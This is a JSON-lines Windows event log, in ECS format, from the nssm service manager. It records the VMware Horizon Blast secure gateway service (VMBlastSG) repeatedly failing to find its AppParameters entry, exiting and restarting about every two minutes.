{"@timestamp":1646683892312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157454}}
{"@timestamp":1646683892312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157455}}
{"@timestamp":1646683892313,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157456}}
{"@timestamp":1646684020828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157457}}
{"@timestamp":1646684020830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157458}}
{"@timestamp":1646684020831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153908","0"]}}},"module":"Application","provider":"nssm","sequence":157459}}
{"@timestamp":1646684020831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153908","153908","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157460}}
{"@timestamp":1646684020848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157461}}
{"@timestamp":1646684020848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157462}}
{"@timestamp":1646684020849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157463}}
{"@timestamp":1646684020850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157464}}
{"@timestamp":1646684149339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157465}}
{"@timestamp":1646684149340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157466}}
{"@timestamp":1646684149341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152804","0"]}}},"module":"Application","provider":"nssm","sequence":157467}}
{"@timestamp":1646684149341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152804","152804","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157468}}
{"@timestamp":1646684149357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157469}}
{"@timestamp":1646684149358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157470}}
{"@timestamp":1646684149359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157471}}
{"@timestamp":1646684149360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157472}}
{"@timestamp":1646684277853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157473}}
{"@timestamp":1646684277855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157474}}
{"@timestamp":1646684277856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154284","0"]}}},"module":"Application","provider":"nssm","sequence":157475}}
{"@timestamp":1646684277856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154284","154284","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157476}}
{"@timestamp":1646684277873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157477}}
{"@timestamp":1646684277873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157478}}
{"@timestamp":1646684277874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157479}}
{"@timestamp":1646684277875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157480}}
{"@timestamp":1646684406703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157481}}
{"@timestamp":1646684406705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157482}}
{"@timestamp":1646684406706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154448","0"]}}},"module":"Application","provider":"nssm","sequence":157483}}
{"@timestamp":1646684406707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154448","154448","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157484}}
{"@timestamp":1646684406723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157485}}
{"@timestamp":1646684406723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157486}}
{"@timestamp":1646684406724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157487}}
{"@timestamp":1646684406725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157488}}
{"@timestamp":1646684535413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157489}}
{"@timestamp":1646684535413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157490}}
{"@timestamp":1646684535414,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153404","0"]}}},"module":"Application","provider":"nssm","sequence":157491}}
{"@timestamp":1646684535415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153404","153404","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157492}}
{"@timestamp":1646684535430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152912","0"]}}},"module":"Application","provider":"nssm","sequence":157493}}
{"@timestamp":1646684535430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152912","153404","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157494}}
{"@timestamp":1646684535473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157495}}
{"@timestamp":1646684535474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157496}}
{"@timestamp":1646684535474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157497}}
{"@timestamp":1646684535475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157498}}
{"@timestamp":1646684663963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157499}}
{"@timestamp":1646684663964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157500}}
{"@timestamp":1646684663965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154020","0"]}}},"module":"Application","provider":"nssm","sequence":157501}}
{"@timestamp":1646684663965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154020","154020","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157502}}
{"@timestamp":1646684663983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157503}}
{"@timestamp":1646684663983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157504}}
{"@timestamp":1646684663984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157505}}
{"@timestamp":1646684663985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157506}}
{"@timestamp":1646684792479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157507}}
{"@timestamp":1646684792480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157508}}
{"@timestamp":1646684792481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153892","0"]}}},"module":"Application","provider":"nssm","sequence":157509}}
{"@timestamp":1646684792482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153892","153892","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157510}}
{"@timestamp":1646684792498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157511}}
{"@timestamp":1646684792498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157512}}
{"@timestamp":1646684792499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157513}}
{"@timestamp":1646684792500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157514}}
{"@timestamp":1646684920989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157515}}
{"@timestamp":1646684920991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157516}}
{"@timestamp":1646684920991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154120","0"]}}},"module":"Application","provider":"nssm","sequence":157517}}
{"@timestamp":1646684920992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154120","154120","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157518}}
{"@timestamp":1646684921008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157519}}
{"@timestamp":1646684921008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157520}}
{"@timestamp":1646684921009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157521}}
{"@timestamp":1646684921009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157522}}
{"@timestamp":1646685049498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157523}}
{"@timestamp":1646685049501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157524}}
{"@timestamp":1646685049501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153232","0"]}}},"module":"Application","provider":"nssm","sequence":157525}}
{"@timestamp":1646685049502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153232","153232","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157526}}
{"@timestamp":1646685049517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157527}}
{"@timestamp":1646685049518,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157528}}
{"@timestamp":1646685049519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157529}}
{"@timestamp":1646685049519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157530}}
{"@timestamp":1646685178124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157531}}
{"@timestamp":1646685178125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157532}}
{"@timestamp":1646685178125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153660","0"]}}},"module":"Application","provider":"nssm","sequence":157533}}
{"@timestamp":1646685178125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153660","153660","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157534}}
{"@timestamp":1646685178141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152944","0"]}}},"module":"Application","provider":"nssm","sequence":157535}}
{"@timestamp":1646685178141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152944","153660","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157536}}
{"@timestamp":1646685178156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157537}}
{"@timestamp":1646685178157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157538}}
{"@timestamp":1646685178157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157539}}
{"@timestamp":1646685178158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157540}}
{"@timestamp":1646685306641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157541}}
{"@timestamp":1646685306642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157542}}
{"@timestamp":1646685306643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152076","0"]}}},"module":"Application","provider":"nssm","sequence":157543}}
{"@timestamp":1646685306643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152076","152076","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157544}}
{"@timestamp":1646685306659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157545}}
{"@timestamp":1646685306659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157546}}
{"@timestamp":1646685306660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157547}}
{"@timestamp":1646685306661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157548}}
{"@timestamp":1646685435156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157549}}
{"@timestamp":1646685435156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157550}}
{"@timestamp":1646685435157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","138384","0"]}}},"module":"Application","provider":"nssm","sequence":157551}}
{"@timestamp":1646685435158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["138384","138384","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157552}}
{"@timestamp":1646685435173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157553}}
{"@timestamp":1646685435173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157554}}
{"@timestamp":1646685435174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157555}}
{"@timestamp":1646685435174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157556}}
{"@timestamp":1646685563687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157557}}
{"@timestamp":1646685563688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157558}}
{"@timestamp":1646685563689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154996","0"]}}},"module":"Application","provider":"nssm","sequence":157559}}
